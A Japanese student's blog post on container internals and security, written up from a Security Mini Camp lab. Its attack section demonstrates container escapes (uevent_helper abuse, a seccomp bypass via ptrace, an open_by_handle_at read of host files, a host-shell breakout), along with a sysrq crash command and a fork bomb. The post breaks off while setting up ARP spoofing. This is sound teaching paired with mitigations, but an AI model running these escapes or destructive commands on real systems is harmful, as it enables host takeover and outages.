script day.log

大学生がなんとなく始めた、趣味やら生活のことを記録していく。

ミニキャンプ愛媛でのコンテナ編を実行してみた

Outline

仮想化(virutalization)

コンテナ仮想化ではOSの機能は共通で使用し,ホストと同じKernelを使います.

ハイパーバイザ/ホスト型仮想化の違い

f:id:makose3p1229:20181113232146j:plain https://cn.teldevice.co.jp/column/10509/より

コンテナはどんなところに使われているだろうか?

EKSやGKEなどのコンテナマネージドサービス,
オーケストレーションツールであるk8sは有名なところではないだろうか.
HerokuにDockerを使ってデプロイされた経験がある方もいるかも知れない.
以下のslideによると,Googleはすべてのソフトウェアをコンテナに乗せて,
毎週20億個のコンテナを起動しているとのこと.
'Everything at Google runs in a container'
'We start over 2billion containers per week.'

speakerdeck.com

コンテナのセキュリティ

先日私はセキュリティ・ミニキャンプ愛媛というイベントに チューターとして参加してきました.

makose3p1229.hatenablog.com

その中の講義の一つとして,コンテナ仮想化技術についてのものがありました.

speakerdeck.com

この記事を書くきっかけになったイベントです.

またこのイベントの少し前に九州セキュリティカンファレンスというイベントが有り,
そこでも同じようなことを行っており,スライドや使用するファイルなども共有されているようです.

speakerdeck.com

github.com

ミニキャンプ愛媛で使用したファイルは公開されていないのですが,
kyusec-containerを一部編集したものとなっています.
ここではminicampで共有されたファイルをもとに実行しますが,
kyusec-containerを使用しても同様の体験が出来ると思われます.

コンテナの実装

代表的なコンテナの実装に使われているソフトウェア

  1. docker
    OSSコンテナ仮想化技術ソフトウェア
    アプリケーションのデプロイを目的として設計
    Enterprise Container Platform | Docker

  2. LXC
    Linux用のコンテナ仮想化ソフトウェア
    軽量な仮想マシンを動作させることを目的
    Linux Containers

  3. HACONIWA
    Uchio KONDO 🔫 (@udzura) | TwitterさんやGMOペパボの方によるLinuxコンテナランタイム
    mrubyで設定やフックを記述出来るのが特徴
    GitHub - haconiwa/haconiwa: MRuby on Container / A Linux container runtime using mruby DSL for configuration, control and hooks

  4. containerd
    Docker.Incが開発したコンテナランタイム
    現在はCNCFに寄贈
    GitHub - containerd/containerd: An open and reliable container runtime

  5. rkt
    CoreOS.IncがDockerの代替として開発
    GitHub - rkt/rkt: rkt is a pod-native container engine for Linux. It is composable, secure, and built on standards.

コンテナのメリット/デメリット

メリット

  1. 起動が高速,軽量
  2. リソースを柔軟に細かく制御可能

デメリット

  1. 権限分離がハイパーバイザ型などと比べると弱い

コンテナはどうやって実装されているのだろうか?

コンテナはプロセス

プロセスといっても少し特殊

  1. ホストから独立したリソース空間を付与(Linux Namespace)
  2. ホストから利用できるハードウェアリソースなどに制限を与える(cgroups)

これらによって個別に独立した作業空間を確保⇔コンテナ仮想化を行う

dockerでapacheコンテナを立ち上げたときと
ホストマシンで直接apacheを立ち上げたときのプロセスを比較する

まずはdockerから.

$ ps auxf
root      1081  0.1  4.4 543504 45692 ?        Ssl  15:55   0:05 /usr/bin/dockerd -H fd://
root      1890  0.0  3.0 407380 31220 ?        Ssl  15:55   0:03  \_ docker-containerd --config /var/run/docker/containerd/contai
root     20319  0.0  0.3   7436  3740 ?        Sl   17:00   0:00  |   \_ docker-containerd-shim -namespace moby -workdir /var/lib
root     20338  0.0  0.0   4504   796 ?        Ss   17:00   0:00  |       \_ /bin/sh /usr/sbin/apache2ctl -D FOREGROUND
root     20378  0.0  0.4  71576  4860 ?        S    17:00   0:00  |           \_ /usr/sbin/apache2 -D FOREGROUND
www-data 20379  0.0  0.4 360804  4520 ?        Sl   17:00   0:00  |               \_ /usr/sbin/apache2 -D FOREGROUND
www-data 20380  0.0  0.3 360748  3948 ?        Sl   17:00   0:00  |               \_ /usr/sbin/apache2 -D FOREGROUND
root     20312  0.0  0.3 117180  3600 ?        Sl   17:00   0:00  \_ /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port

次にホストマシン.

$ ps auxf
root     21492  0.0  0.4  71584  4640 ?        Ss   17:07   0:00 /usr/sbin/apache2 -k start
www-data 21495  0.0  0.3 360740  3972 ?        Sl   17:07   0:00  \_ /usr/sbin/apache2 -k start
www-data 21496  0.0  0.3 360740  3972 ?        Sl   17:07   0:00  \_ /usr/sbin/apache2 -k start

プロセスツリーを見ると,コンテナも実際にはプロセスなのだなと実感する.

それではコンテナの独立したリソース空間を付与する部分を提供するLinux Namespaceを確認していく.

# Host machine
$ ip a
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:40:c1:fa:9b:f5 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global enp0s3
       valid_lft forever preferred_lft forever
    inet6 fe80::40:c1ff:fefa:9bf5/64 scope link
       valid_lft forever preferred_lft forever

# Docker
$ ip a
10: eth0@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

ホストマシンにあるプロセスであるコンテナだが,独立したネットワーク(eth0)が当てられている.
その他のNamespaceも確認する.

# Hostname
# Host machine
$ hostname
ubuntu-xenial

# Docker
$ hostname
4521880cffa8

# Process ID
# Host machine
$ ps auxf
root      1081  0.1  4.4 543504 45692 ?        Ssl  15:55   0:05 /usr/bin/dockerd -H fd://
root      1890  0.0  3.0 407380 31220 ?        Ssl  15:55   0:03  \_ docker-containerd --config /var/run/docker/containerd/contai
root     20319  0.0  0.3   7436  3740 ?        Sl   17:00   0:00  |   \_ docker-containerd-shim -namespace moby -workdir /var/lib
root     20338  0.0  0.0   4504   796 ?        Ss   17:00   0:00  |       \_ /bin/sh /usr/sbin/apache2ctl -D FOREGROUND
root     20378  0.0  0.4  71576  4860 ?        S    17:00   0:00  |           \_ /usr/sbin/apache2 -D FOREGROUND
www-data 20379  0.0  0.4 360804  4520 ?        Sl   17:00   0:00  |               \_ /usr/sbin/apache2 -D FOREGROUND
www-data 20380  0.0  0.3 360748  3948 ?        Sl   17:00   0:00  |               \_ /usr/sbin/apache2 -D FOREGROUND
root     20312  0.0  0.3 117180  3600 ?        Sl   17:00   0:00  \_ /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port

# Docker
$ ps auxf
root         1  0.0  0.0   4504   796 ?        Ss   17:00   0:00 /bin/sh /usr/sbin/apache2ctl -D FOREGROUND
root         7  0.0  0.4  71576  4860 ?        S    17:00   0:00 /usr/sbin/apache2 -D FOREGROUND
www-data     8  0.0  0.4 360804  4520 ?        Sl   17:00   0:00  \_ /usr/sbin/apache2 -D FOREGROUND
www-data     9  0.0  0.3 360748  3948 ?        Sl   17:00   0:00  \_ /usr/sbin/apache2 -D FOREGROUND

Namespaceを見てみる.
Man page of NAMESPACES

# Hostから見たときのコンテナのApacheのPIDを確認
$ ps auxf | grep -A 10 docker[d]
root     20338  0.0  0.0   4504   796 ?        Ss   17:00   0:00  |       \_ /bin/sh /usr/sbin/apache2ctl -D FOREGROUND
root     20378  0.0  0.4  71576  4860 ?        S    17:00   0:00  |           \_ /usr/sbin/apache2 -D FOREGROUND
www-data 20379  0.0  0.4 360804  4520 ?        Sl   17:00   0:00  |               \_ /usr/sbin/apache2 -D FOREGROUND
www-data 20380  0.0  0.3 360748  3948 ?        Sl   17:00   0:00  |               \_ /usr/sbin/apache2 -D FOREGROUND

# PIDに該当するNamespace Dirを調べる($PIDは置き換える)
$ sudo ls -l /proc/$PID/ns
lrwxrwxrwx 1 root root 0 Nov 12 17:24 cgroup -> cgroup:[4026531835]
lrwxrwxrwx 1 root root 0 Nov 12 17:12 ipc -> ipc:[4026532276]
lrwxrwxrwx 1 root root 0 Nov 12 17:12 mnt -> mnt:[4026532274]
lrwxrwxrwx 1 root root 0 Nov 12 17:00 net -> net:[4026532279]
lrwxrwxrwx 1 root root 0 Nov 12 17:12 pid -> pid:[4026532277]
lrwxrwxrwx 1 root root 0 Nov 12 17:24 user -> user:[4026531837]
lrwxrwxrwx 1 root root 0 Nov 12 17:12 uts -> uts:[4026532275]

# HostのNamespaceを調べる
$ sudo ls -l /proc/self/ns
lrwxrwxrwx 1 root root 0 Nov 12 17:25 cgroup -> cgroup:[4026531835]
lrwxrwxrwx 1 root root 0 Nov 12 17:25 ipc -> ipc:[4026531839]
lrwxrwxrwx 1 root root 0 Nov 12 17:25 mnt -> mnt:[4026531840]
lrwxrwxrwx 1 root root 0 Nov 12 17:25 net -> net:[4026531957]
lrwxrwxrwx 1 root root 0 Nov 12 17:25 pid -> pid:[4026531836]
lrwxrwxrwx 1 root root 0 Nov 12 17:25 user -> user:[4026531837]
lrwxrwxrwx 1 root root 0 Nov 12 17:25 uts -> uts:[4026531838]

見比べてみるとipc,mnt,net,pid,utsの値が異なる事がわかる.

それでは各Namespaceにアタッチして,
そこから他のNamespaceを見たときにどのような振る舞いをするだろう?

# Host
$ ip a
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:40:c1:fa:9b:f5 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global enp0s3
       valid_lft forever preferred_lft forever
    inet6 fe80::40:c1ff:fefa:9bf5/64 scope link
       valid_lft forever preferred_lft forever

$ hostname
ubuntu-xenial

# ネットワーク空間のみにアタッチ
$ sudo nsenter --net -t $PID
$ ip a
10: eth0@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

$ hostname
ubuntu-xenial

# UTS空間のみににアタッチ
$ sudo nsenter --uts -t $PID
$ ip a
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:40:c1:fa:9b:f5 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global enp0s3
       valid_lft forever preferred_lft forever
    inet6 fe80::40:c1ff:fefa:9bf5/64 scope link
       valid_lft forever preferred_lft forever

$ hostname
4521880cffa8

確かにそれぞれの空間で分離対象が分離されていることが確認できた.

次はcgroupについて考える.
コンテナではリソースを柔軟に細かく制御するために使用されている.
Man page of CGROUPS

コンテナに割り当てられているメモリ量を確認する,

$ docker ps -a
4521880cffa8        minicamp-1          "/usr/sbin/apache2ct…"   2 weeks ago         Up About an hour    0.0.0.0:8080->80/tcp   serene_fermi

# まずは何も指定せずに起動したコンテナのメモリ割り当て量
$ CID=$(docker inspect -f '{{.ID}}' 45)
$ sudo cat /sys/fs/cgroup/memory/docker/$CID/memory.usage_in_bytes
12468224
$ sudo cat /sys/fs/cgroup/memory/docker/$CID/memory.limit_in_bytes
9223372036854771712

# 割当の少ないコンテナを作成
$ CID2=$(docker run --memory=8m -d minicamp-1);
$ sudo cat /sys/fs/cgroup/memory/docker/$CID2/memory.usage_in_bytes
5562368
$ sudo cat /sys/fs/cgroup/memory/docker/$CID2/memory.limit_in_bytes
8388608

# 両コンテナでapt-get updateを実行してみる
$ docker exec -ti $CID bash
# apt-get update
Reading package lists... Done

$ docker exec -ti $CID2 bash
# apt-get update
Killedg package lists... 1%
# dmesg
[ 7204.904229] Memory cgroup out of memory: Kill process 22575 (apt-get) score 895 or sacrifice child
[ 7204.906901] Killed process 22575 (apt-get) total-vm:65912kB, anon-rss:1916kB, file-rss:5300kB

# $CID2のメモリ割当を変更する
$ echo '128m' | sudo tee /sys/fs/cgroup/memory/docker/$CID2/memory.limit_in_bytes
$ docker exec -ti $CID2 bash
# apt-get update
Reading package lists... Done

久しぶりにOOM Killerを見ました.
ところでOOM Killerというとこの画像を思い出します.
f:id:makose3p1229:20181113233255j:plain

この画像は[試して理解]Linuxのしくみ ~実験と図解で学ぶOSとハードウェアの基礎知識という
本の中に出てきます.

[試して理解]Linuxのしくみ ~実験と図解で学ぶOSとハードウェアの基礎知識

[試して理解]Linuxのしくみ ~実験と図解で学ぶOSとハードウェアの基礎知識

とてもわかりやすく面白い本になっています.
Linuxに興味がある方やCS専攻1年目ぐらいの方にオススメです.

自作コンテナ by Haconiwa

Haconiwaにはhaconiwaというコマンドとhacorbというコマンドが存在します.
まずはhaconiwaというコマンドでコンテナを作成してみます.

$ docker ps -a
4521880cffa8        minicamp-1          "/usr/sbin/apache2ct…"   2 weeks ago         Up About an hour    0.0.0.0:8080->80/tcp   serene_fermi

# rootfsを用意
$ mkdir /tmp/minicamp
$ docker export 45 | sudo tar -xv -f - -C /tmp/minicamp/
$ ls /tmp/minicamp/
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

# 設定ファイルを生成
$ haconiwa init first-container.haco 
assign  new haconiwa name = haconiwa-784f0a7d
assign  rootfs location = /var/lib/haconiwa/784f0a7d
create  first-container.haco

# 設定を変更
<   root = Pathname.new("/var/lib/haconiwa/784f0a7d")
---
>   root = Pathname.new("/tmp/minicamp")

# コンテナを起動
$ haconiwa run first-container.haco
# ps auxf
root         1  0.1  0.3  18204  3196 pts/2    S    18:19   0:00 /bin/bash
root         6  0.0  0.2  34424  2780 pts/2    R+   18:19   0:00 ps auxf

なんと,お手軽にコンテナを作成できました.
しかし,ComputerScienceを専攻し先行していく者 としては
単純にコンテナを作成できるだけでは満足しないでしょう.
やはりコンテナに相当するものを自作するしかありません.
現代では自作OS,自作言語,自作CPU,自作コンパイラ,自作ブラウザなど
自分の使うものがどのような作りをしているのか,自ら作ることで理解したいという流れがあるようです.
つまり自作コンテナもコンテナを使う技術者としては実装を知っておく必要があるのではないでしょうか?

では,まずコンテナはプロセスなのでforkするところから始めます.

# container.rb
pid = Process.fork do
  Dir.chroot "/tmp/minicamp"
  Dir.chdir "/"
  Exec.execve ENV, "/bin/bash"
end

p(Process.waitpid2 pid)
$ hacorb container.rb
$ pwd
/
$ ls -al
drwxrwxr-x 21 1000 1000 4096 Nov 12 18:19 .
drwxrwxr-x 21 1000 1000 4096 Nov 12 18:19 ..
-rwxr-xr-x  1 root root    0 Oct 28 03:57 .dockerenv
drwxr-xr-x  2 root root 4096 Oct 28 03:49 bin
drwxr-xr-x  2 root root 4096 Apr 12  2016 boot
drwxr-xr-x  4 root root 4096 Oct 28 03:57 dev
drwxr-xr-x 54 root root 4096 Oct 28 03:57 etc
drwxr-xr-x  2 root root 4096 Apr 12  2016 home
drwxr-xr-x  9 root root 4096 Oct 28 03:49 lib
drwxr-xr-x  2 root root 4096 Oct  5 18:07 lib64
drwxr-xr-x  2 root root 4096 Oct  5 18:03 media
drwxr-xr-x  2 root root 4096 Oct  5 18:03 mnt
drwxr-xr-x  2 root root 4096 Oct  5 18:03 opt
drwxr-xr-x  2 root root 4096 Apr 12  2016 proc
drwx------  2 root root 4096 Nov 12 17:13 root
drwxr-xr-x  6 root root 4096 Oct 28 03:57 run
drwxr-xr-x  2 root root 4096 Oct 28 03:49 sbin
drwxr-xr-x  2 root root 4096 Oct  5 18:03 srv
drwxr-xr-x  2 root root 4096 Feb  5  2016 sys
drwxrwxrwt  2 root root 4096 Nov 12 17:54 tmp
drwxr-xr-x 10 root root 4096 Oct  5 18:03 usr
drwxr-xr-x 12 root root 4096 Oct 28 03:49 var

Namespaceを分離します

# container.rb
Namespace.unshare(Namespace::CLONE_NEWPID)

pid = Process.fork do
  Namespace.unshare(Namespace::CLONE_NEWUTS)
  Namespace.unshare(Namespace::CLONE_NEWIPC)
  Namespace.unshare(Namespace::CLONE_NEWNS)
  Namespace.setns(
     Namespace::CLONE_NEWNET,
     fd: File.open("/var/run/netns/my-container", 'r').fileno
  )
  
  Dir.chroot "/tmp/minicamp"
  Dir.chdir "/"

  system 'hostname my-container'
  system 'ip link set lo up'
  system "mount -t proc proc /proc"

  Exec.execve ENV, "/bin/bash"
end

p(Process.waitpid2 pid)
$ sudo ip netns add my-container
$ sudo hacorb container.rb
# ps auxf
root         1  0.0  0.3  18232  3272 ?        S    18:40   0:00 /bin/bash
root        11  0.0  0.2  34424  2812 ?        R+   18:41   0:00 ps auxf

# hostname
my-container

# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever

# ls -l /proc/$$/ns/
lrwxrwxrwx 1 root root 0 Nov 12 18:44 cgroup -> cgroup:[4026531835]
lrwxrwxrwx 1 root root 0 Nov 12 18:44 ipc -> ipc:[4026532402]
lrwxrwxrwx 1 root root 0 Nov 12 18:44 mnt -> mnt:[4026532403]
lrwxrwxrwx 1 root root 0 Nov 12 18:44 net -> net:[4026532405]
lrwxrwxrwx 1 root root 0 Nov 12 18:44 pid -> pid:[4026532400]
lrwxrwxrwx 1 root root 0 Nov 12 18:44 user -> user:[4026531837]
lrwxrwxrwx 1 root root 0 Nov 12 18:44 uts -> uts:[4026532401]

# exit

$ ls -l /proc/$$/ns/
lrwxrwxrwx 1 vagrant vagrant 0 Nov 12 18:46 cgroup -> cgroup:[4026531835]
lrwxrwxrwx 1 vagrant vagrant 0 Nov 12 18:46 ipc -> ipc:[4026531839]
lrwxrwxrwx 1 vagrant vagrant 0 Nov 12 18:46 mnt -> mnt:[4026531840]
lrwxrwxrwx 1 vagrant vagrant 0 Nov 12 18:46 net -> net:[4026531957]
lrwxrwxrwx 1 vagrant vagrant 0 Nov 12 18:46 pid -> pid:[4026531836]
lrwxrwxrwx 1 vagrant vagrant 0 Nov 12 18:46 user -> user:[4026531837]
lrwxrwxrwx 1 vagrant vagrant 0 Nov 12 18:46 uts -> uts:[4026531838]

$ sudo umount /tmp/minicamp/proc

Namespaceが分離されたり,hostnameやnetworkが設定されている.

cgroupを設定

# container.rb
pid_limit = "3"
memory_limit = ENV['MEMORY_LIMIT'] || "128m"
Namespace.unshare(Namespace::CLONE_NEWPID)

pid = Process.fork do
  Dir.mkdir "/sys/fs/cgroup/pids/minicamp" rescue nil
  system "echo #{pid_limit} > /sys/fs/cgroup/pids/minicamp/pids.max"
  system "echo #{Process.pid} > /sys/fs/cgroup/pids/minicamp/tasks"
  Dir.mkdir "/sys/fs/cgroup/memory/minicamp" rescue nil
  system "echo 0 > /sys/fs/cgroup/memory/minicamp/memory.swappiness"
  system "echo #{memory_limit} > /sys/fs/cgroup/memory/minicamp/memory.limit_in_bytes"
  system "echo #{Process.pid} > /sys/fs/cgroup/memory/minicamp/tasks"

  rate = Cgroup::CPU.new "my-container"
  core = Cgroup::CPUSET.new "my-container"
  rate.cfs_quota_us = 200000
  rate.cfs_period_us = 1000000
  core.cpus = "0-1"
  core.mems = "0"

  rate.create
  core.create
  rate.attach
  core.attach

  Namespace.unshare(Namespace::CLONE_NEWUTS)
  Namespace.unshare(Namespace::CLONE_NEWIPC)
  Namespace.unshare(Namespace::CLONE_NEWNS)
  Namespace.setns(
     Namespace::CLONE_NEWNET,
     fd: File.open("/var/run/netns/my-container", 'r').fileno
  )

  Dir.chroot "/tmp/minicamp"
  Dir.chdir "/"

  system 'hostname my-container'
  system 'ip link set lo up'
  system "mount -t proc proc /proc"
  
  Exec.execve ENV, "/bin/bash"
end

p(Process.waitpid2 pid)
$ sudo ip netns add my-container
$ sudo ip netns exec my-container ip link set lo up
$ sudo hacorb container.rb
# ( echo 'test' | cat )
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: No child processes
test
# bomb () { bomb | bomb & }; bomb
bash: fork: retry: No child processes
bash: fork: retry: No child processes
bash: fork: retry: No child processes
bash: fork: retry: No child processes
bash: fork: retry: No child processes
bash: fork: retry: No child processes
bash: fork: retry: No child processes
bash: fork: Resource temporarily unavailable
^C
[1]+  Terminated              bomb | bomb

$ sudo umount /tmp/minicamp/proc

PIDの制限だけでなく,メモリやCPUのコア数なども制限できるようです.

Capabilityを設定

# container.rb
pid_limit = "3"
memory_limit = ENV['MEMORY_LIMIT'] || "128m"
Namespace.unshare(Namespace::CLONE_NEWPID)

pid = Process.fork do
  Dir.mkdir "/sys/fs/cgroup/pids/minicamp" rescue nil
  system "echo #{pid_limit} > /sys/fs/cgroup/pids/minicamp/pids.max"
  system "echo #{Process.pid} > /sys/fs/cgroup/pids/minicamp/tasks"
  Dir.mkdir "/sys/fs/cgroup/memory/minicamp" rescue nil
  system "echo 0 > /sys/fs/cgroup/memory/minicamp/memory.swappiness"
  system "echo #{memory_limit} > /sys/fs/cgroup/memory/minicamp/memory.limit_in_bytes"
  system "echo #{Process.pid} > /sys/fs/cgroup/memory/minicamp/tasks"

  rate = Cgroup::CPU.new "my-container"
  core = Cgroup::CPUSET.new "my-container"
  rate.cfs_quota_us = 200000
  rate.cfs_period_us = 1000000
  core.cpus = "0-1"
  core.mems = "0"

  rate.create
  core.create
  rate.attach
  core.attach

  Namespace.unshare(Namespace::CLONE_NEWUTS)
  Namespace.unshare(Namespace::CLONE_NEWIPC)
  Namespace.unshare(Namespace::CLONE_NEWNS)
  Namespace.setns(
     Namespace::CLONE_NEWNET,
     fd: File.open("/var/run/netns/my-container", 'r').fileno
  )

  c = Capability.new
  cap = [Capability::CAP_CHOWN, Capability::CAP_DAC_OVERRIDE, Capability::CAP_FSETID, Capability::CAP_FOWNER, Capability::CAP_MKNOD, Capability::CAP_NET_RAW, Capability::CAP_SETGID, Capability::CAP_SETUID, Capability::CAP_SETPCAP, Capability::CAP_NET_BIND_SERVICE, Capability::CAP_SYS_CHROOT, Capability::CAP_KILL, Capability::CAP_AUDIT_WRITE]
  c.set Capability::CAP_PERMITTED, cap
  c.set_flag Capability::CAP_EFFECTIVE, cap, Capability::CAP_SET

  Dir.chroot "/tmp/minicamp"
  Dir.chdir "/"

  system 'hostname my-container'
  system 'ip link set lo up'
  system "mount -t proc proc /proc"
  
  Exec.execve ENV, "/bin/bash"
end

p(Process.waitpid2 pid)

capabilityというroot権限を細分化できるものを設定しました.
Man page of CAPABILITIES

大体こんな感じで自作コンテナ作成しました.
やはり,自作は楽しいです.

コンテナへのAttack

コンテナのセキュリティ機構

  • Linux Namespaceによる分離
  • cgroupによるリソース制御
  • AppArmor
  • seccomp
  • 特定のファイルのパーミッションを落とす

Attack Surfaces

  • カーネル脆弱性を突く
  • コンテナの設定不備を突く
  • ネットワークの設定不備を突く

スイスチーズモデル

  • ある機構がBypassされても,別の機構で防ぐ/緩和する

AppArmor

/sys/kernel/uevent_helper

# Host
$ haconiwa start sample1.haco

# container
# echo "export PATH=$PATH" >> /root/.bashrc
# bash
# apt-get install gcc
# vim /root/hello.sh
# chmod +x /root/hello.sh
# echo “/var/lib/haconiwa/sample/root/hello.sh” > /sys/kernel/uevent_helper

# Host
$ ls /tmp

# container
# echo change > /sys/class/mem/null/uevent

# Host
$ ls /tmp
hello.txt
$ cat /tmp/hello.txt
Hello, Host! ;)
#!/bin/sh
echo “Hello, Host! ;)> /tmp/hello.txt

hello.txtというファイルが書き込まれてしまいました.

/proc/sysrq-trigger

# container
# echo c > /proc/sysrq-trigger

VMごと落ちてしまいました...

AppArmorの適用

# Host
# 適用するプロファイルの確認
$ cat apparmor/haconiwa-test
# プロファイルの有効化
$ sudo cp apparmor/haconiwa-test /etc/apparmor.d/haconiwa/
$ sudo apparmor_parser -Kr /etc/apparmor.d/haconiwa/haconiwa-test
# プロファイルを適用するように設定
$ vim sample1.haco
<   # config.apparmor = "haconiwa-test"
---
>   config.apparmor = "haconiwa-test"

# containerを起動している場合
$ exit

# Host
$ haconiwa start sample1.haco

# container
root@sample1:/# top
bash: /usr/bin/top: Permission denied
root@sample1:/# echo c > /proc/sysrq-trigger
bash: /proc/sysrq-trigger: Permission denied

AppArmorによる保護

ReadOnlyでのmountや,AppArmorによるコンテナで使用できるコマンドの実行や
ファイルへの読み書きの制限が可能.
ex.)
/proc/sysrq-trigger, /proc/sys/kernel/core_pattern,
/proc/sys/kernel/modprobe, /sys/kernel/uevent_helper

seccomp

seccompとは?

システムコールのフィルタリングを行う仕組み
ホスト側にエスケープを許してしまうような危険なシステムコールを防ぐ

seccomp bypass

# Host
$ cat sample2.haco
config.seccomp.filter(default: :allow) do |rule|
   rule.kill :mkdir # mkdir(2) を禁止
end
$ haconiwa start sample2.haco

# container
# cd /tmp/
# mkdir dir
Bad system call

# Host
$ sudo cp bypass_seccomp.c /var/lib/haconiwa/sample/tmp/

# container
# cd /tmp
# gcc bypass_seccomp.c
root@sample1:/tmp# ls
a.out  bypass_seccomp.c
root@sample1:/tmp# ./a.out
orig_rax = 39
orig_rax = 83
orig_rax = 231
root@sample1:/tmp# ls
a.out  bypass_seccomp.c  dir

mkdir(2)を禁止しているにも関わらず, 回避することによってdirectoryが作成されてしまいました.

まとめ

Linux Kernel 4.8以前において

  • seccompベースのSandbox環境はエスケープ可能
  • トレーサがプロセスのシステムコールを変更してフィルタをバイパス出来る
    ptrace(2)の使用を許可してはいけない

Capabilities

  • rootのみが使用できる権限を細かく制御できる仕組み
  • 一部だけ付与したり制限したりとか
# Host
$ sudo haconiwa start sample3.haco

# container
# ping -c 5 8.8.8.8

# mount /dev/sda1 /mnt/
# cat /mnt/etc/passwd
vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
# exit

# sample3.hacoのcapabilityを設定
$ vim sample1.haco
<   
# config.capabilities.drop "cap_sys_admin"
# config.capabilities.drop "cap_net_raw"
---
>   
config.capabilities.drop "cap_sys_admin"
config.capabilities.drop "cap_net_raw"

# Host
$ sudo haconiwa start sample3.haco

# container
root@sample1:/# ping -c 5 8.8.8.8
ping: icmp open socket: Operation not permitted
root@sample1:/# mount /dev/sda1 /mnt/
mount: permission denied

権限がないので,コマンド実行に失敗する.

open_by_handle_at

# Host
# /etc/passwdのinode番号
$ stat /etc/passwd
  File: '/etc/passwd'
  Size: 1724            Blocks: 8          IO Block: 4096   regular file
Device: 801h/2049d      Inode: 57824       Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2018-11-12 15:55:35.740000000 +0000
Modify: 2018-10-27 17:48:29.822258432 +0000
Change: 2018-10-27 17:48:29.822258432 +0000
 Birth: -

$ sudo cp read_passwd.c /var/lib/haconiwa/sample/tmp/
$ sudo haconiwa start sample3.haco

# container
# printf "%x\n" 57824
e1e0

# inode番号をhexに変換し,リトルエンディアンで書く
# vim /tmp/read_passwd.c
// 57824 = e1 e0
.f_handle = {0xe0, 0xe1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}

# cd /tmp
# gcc read_passwd.c
read_passwd.c:40:14: warning: implicit declaration of function 'open_by_handle_at' [-Wimplicit-function-declaration]
   if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
              ^
read_passwd.c:43:3: warning: implicit declaration of function 'memset' [-Wimplicit-function-declaration]
   memset(buf, 0, sizeof(buf));
   ^
read_passwd.c:43:3: warning: incompatible implicit declaration of built-in function 'memset'
read_passwd.c:43:3: note: include '<string.h>' or provide a declaration of 'memset'

# ./a.out
vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash

gccコンパイルするときにwarning出るんですね.
gccってえらいですね(小並感

config.seccomp.filter(default: :allow) do |rule|
   rule.kill :open_by_handle_at
end

このようにしてfilterにかける必要がありますね.

Get Shell

# Host
$ sudo cp breakout.c /var/lib/haconiwa/sample/tmp/
$ sudo haconiwa start demo1.haco

# container
root@sample1:/tmp# gcc breakout.c
root@sample1:/tmp# ./a.out
orig_rax = 2
orig_rax = 2
orig_rax = 39
orig_rax = 304
orig_rax = 81
orig_rax = 81
orig_rax = 161
orig_rax = 161
orig_rax = 13
orig_rax = 13
orig_rax = 13
orig_rax = 13
orig_rax = 14
orig_rax = 14
orig_rax = 56
orig_rax = 56
orig_rax = 61
# ls /home/vagrant
files  samplefiles
# exit
orig_rax = 61
orig_rax = 13
orig_rax = 13
orig_rax = 13
orig_rax = 13
orig_rax = 14
orig_rax = 14
root@sample1:/tmp# exit

ホストのshellを取ることが出来ているようです.

コンテナネットワークへのAttack

Bridge Network

vagrant@ubuntu-xenial:~$ ip addr show dev lxdbr0
4: lxdbr0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether fe:75:51:58:b0:58 brd ff:ff:ff:ff:ff:ff
    inet 10.128.193.1/24 scope global lxdbr0
       valid_lft forever preferred_lft forever
    inet6 fd9c:2999:a3a6:dcc3::1/64 scope global
       valid_lft forever preferred_lft forever
    inet6 fe80::d8bf:aeff:febb:a66a/64 scope link
       valid_lft forever preferred_lft forever

ARP Spoofing

  • ARPの性質を利用してルーティングを変更する
  • 応答を偽装することにより誤ったARPテーブルを汚染させる事ができる

ARP Table

vagrant@ubuntu-xenial:~$ lxc list
+----------+---------+-----------------------+-----------------------------------------------+------------+-----------+
|   NAME   |  STATE  |         IPV4          |                     IPV6                      |    TYPE    | SNAPSHOTS |
+----------+---------+-----------------------+-----------------------------------------------+------------+-----------+
| attacker | RUNNING | 10.128.193.110 (eth0) | fd9c:2999:a3a6:dcc3:216:3eff:fe1d:7372 (eth0) | PERSISTENT | 0         |
+----------+---------+-----------------------+-----------------------------------------------+------------+-----------+
| victim   | RUNNING | 10.128.193.231 (eth0) | fd9c:2999:a3a6:dcc3:216:3eff:fe6a:555d (eth0) | PERSISTENT | 0         |
+----------+---------+-----------------------+-----------------------------------------------+------------+-----------+

vagrant@ubuntu-xenial:~$ arp -a
